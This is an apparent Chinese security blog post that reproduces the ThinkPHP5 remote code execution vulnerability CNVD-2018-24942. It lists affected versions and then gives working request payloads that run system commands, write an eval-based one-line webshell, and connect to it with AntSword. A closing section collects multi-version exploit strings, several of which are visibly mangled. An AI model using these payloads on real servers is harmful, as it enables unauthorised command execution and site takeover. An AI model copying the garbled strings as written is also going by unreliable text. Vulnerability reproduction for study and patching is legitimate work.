[CNVD-2018-24942]ThinkPHP5远程代码执⾏漏洞复现
0x00 漏洞概述
编号为CNVD-2018-24942。
ThinkPHP5存在远程代码执⾏漏洞。由于框架对控制器名称未能进⾏充分检测,攻击者可以利⽤该漏洞对⽹站进⾏远程命令执⾏(RCE)。
影响产品包括:
上海顶想信息科技有限公司 ThinkPHP 5.*,<5.1.31
上海顶想信息科技有限公司 ThinkPHP <=5.0.23
尝试复现时需要注意版本,若版本处在5.0.13~5.0.19,由于config中app_debug配置项默认为false,使得Payload失效。
⼤致统计结果如下表:
版本号是否可被攻击条件
5.0.0否
5.0.1否
5.0.2否
5.0.3否
5.0.4否
5.0.5否
5.0.6否
5.0.7否
5.0.8是⽆需开启debug模式
5.0.9是⽆需开启debug模式
5.0.10是⽆需开启debug模式
5.0.11是⽆需开启debug模式
5.0.12是⽆需开启debug模式
5.0.13是需开启debug模式
5.0.14是需开启debug模式
5.0.15是需开启debug模式
5.0.16是需开启debug模式
5.0.17是需开启debug模式
5.0.18是需开启debug模式
5.0.19是需开启debug模式
5.0.20否
5.0.21是需开启debug模式
5.0.22是需开启debug模式
5.0.23是需开启debug模式0x01 远程代码执⾏
访问靶机:
传⼊:
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd
实际上就是⾮法传参调⽤函数,再通过数组拆分传⼊函数参数。
这已经构造出了任意命令执⾏。
0x02 ⽊马
利⽤远程命令执⾏可以轻松写⼊⼀句话⽊马。写⼊⼀个shell.php:
s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3Cphp%20@eval($_POST[pass])%3E
蚁剑连接成功:
可以在/root⽬录下看到该机器以前执⾏的⽂件:
0x03 ⼤佬的POC
通杀:
# 版本号5.0.8~5.0.19
s=whoami&_method=__construct&filter&filter=system
# 版本号5.0.20~5.0.23
_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami
5.1.x php版本>5.5:
s=index/think\request/inputdata[]=phpinfo()&filter=assert
s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
s=index/\think\template\driver\file/writecacheFile=shell.php&content=<php%20phpinfo();>
5.0.x php版本>=5.4:
s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<php @eval($_POST[xxxxxx]);>'
s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<php @eval($_POS T[xxxxxx]);?>'
s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<php @eval($_POST[xxxxxx]);>\'>zxc2.ph p'
0x04 废话
spring framework rce漏洞复现
⾸次使⽤Windows搭建Docker,花费了⼤量时间。使⽤WSL2能够摆脱Hyper-V的束缚,性能表现也有所提升。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。